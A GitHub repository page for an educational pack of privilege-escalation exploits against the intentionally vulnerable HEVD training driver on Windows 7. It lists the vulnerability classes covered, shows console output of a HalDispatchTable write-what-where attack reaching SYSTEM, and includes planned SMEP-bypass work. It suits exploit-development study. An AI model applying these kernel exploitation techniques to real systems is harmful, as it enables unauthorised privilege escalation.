crackercat / hevd_kernel_exploit Goto Github PK

My HackSysExtremeVulnerableDriver exploits pack for education purposes developed under Windows 7 x86 SP1. The x86 version of this exploit does not bypass SMEP.

Although, in the x64 directory - some sample x64 exploits against HEVD are released that might need to employ SMEP bypasses.

One thing to note - the kernel payload that has been used is a single asm naked function, albeit it is from exploit to exploit being copied to dynamically allocated RWX buffers and then in an unelegant way patched to conform specific call stack needs (in one exploit leaving pop ebp in other patching it out with nops, in one leaving ret $8 while in other sticking to retn). I know this is a mess, but I never bothered to make couple of naked functions with one or two epilogues varying for this issue.

Out of 12 vulnerabilities placed in HEVD, there are at the moment following exploits implemented:

x86:

• Stack Overflow
• Arbitrary Memory Overwrite
• NULL Pointer Dereference
• Integer Overflow
• Type Confusion
• Uninitialized Stack Variable
• Uninitialized Heap Variable
• Use After Free
• Pool Overflow
• Stack Overflow GS
• Double Fetch

x64:

• Stack Overflow
• Arbitrary Memory Overwrite via GDI SURFACE objects abuse

Found to be working stable.

        HackSysExtremeVulnerableDriver
        Local Privilege Escalation exploit's pack'
        Mariusz B. / mgeeky, '17

[+] Found hevd.sys driver's base: 0x90b36000
[+] Opened HackSysExtremeVulnerableDriver driver's handle.
[?] Kernel shellcode in user-memory at: 0x0040676f (size: 81 bytes).

--------------------------------
[01] Stack Overflow, IOCTL code: 0x00222003
[02] Arbitrary Memory Overwrite / Write-What-Where, IOCTL code: 0x0022200b
[03] Null Pointer Dereference, IOCTL code: 0x0022202b
[04] Integer Overflow, IOCTL code: 0x00222027
[05] Type Confusion, IOCTL code: 0x00222023
[06] Uninitialized Stack Variable, IOCTL code: 0x0022202f
[07] Uninitialized Heap Variable, IOCTL code: 0x00222033
[08] Use After Free, IOCTL code: 0x00222013
[09] Pool Corruption, IOCTL code: 0x0022200f
[10] Stack Overflow GS, IOCTL code: 0x0022007
[11] Double Fetch, IOCTL code: 0x00222037
[99] Exit.

[..] Select an exploit to launch against HEVD.SYS (or 99 to exit): 2

--------------------------------
[.] Loading ntkrnlpa.exe
[.] Determining HalDispatchTable symbol's offset...
[.] Custom kernel shellcode will now be located at: 0x0x3e0000
[.] Adjusting the kernel payload to make it ret 0x08
[.] Constructed custom payload capable of restoring overwritten pointer.
[.] Freeing memory allocated for the kernel payload.
[+] `hal!HalDispatchTable+4` is located at: 0x82966404
[+] Arbitrary Overwrite:
        - Where: 0x82966404 (hal!HaliQuerySystemInformation)
        - What: 0x3f0000 (address of shellcode in user space memory)

[+] Issuing IOCTL: HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE
[.] Input buffer: 0x0x22fd7c, size: 8 bytes. Output: 0x0
[>] After sending IOCTL. ret: TRUE, last error: 0, written bytes: 0

[.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`
[.] Exploit has been launched without errors.
[.] Exploit success check: Current user: (SYSTEM), expected: (SYSTEM)
[+] Succeeded. Enjoy your SYSTEM! :-)

--------------------------------

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop>

• Last exploit: Insecure Kernel Resource Access
• Refactor the code to be a bit more readable and C++ friendly (especially to use some of C++17 features)
• s/system/CreateProcess
• move exploit files to a separate directory and modify #includes
• Add argv parsing
• Replace the shellcode to a more stable, dynamically resolved one using Kernel APIs to duplicate system token
• Add some x64 exploit variants for the already implemented ones (like Arbitrary Overwrite)
• Add SMEP bypass using ROP/or Page Tables manipulation
• Add some variations of the already implemented exploits using different vectors - like SuspendApc for Write-What-Where
• Add custom command execution from within user input or argv

• Stack Overflow GS exploit is causing parent process to deadlock because of locked driver's handle object upon ZwTerminateProcess. To overcome this issue, we'll have to zero-out that object: ((nt!_HANDLE_TABLE_ENTRY*)((nt!_HANDLE_TABLE*)EPROCESS.ObjectTable.TableCode)[hDriver * 2]).Object = 0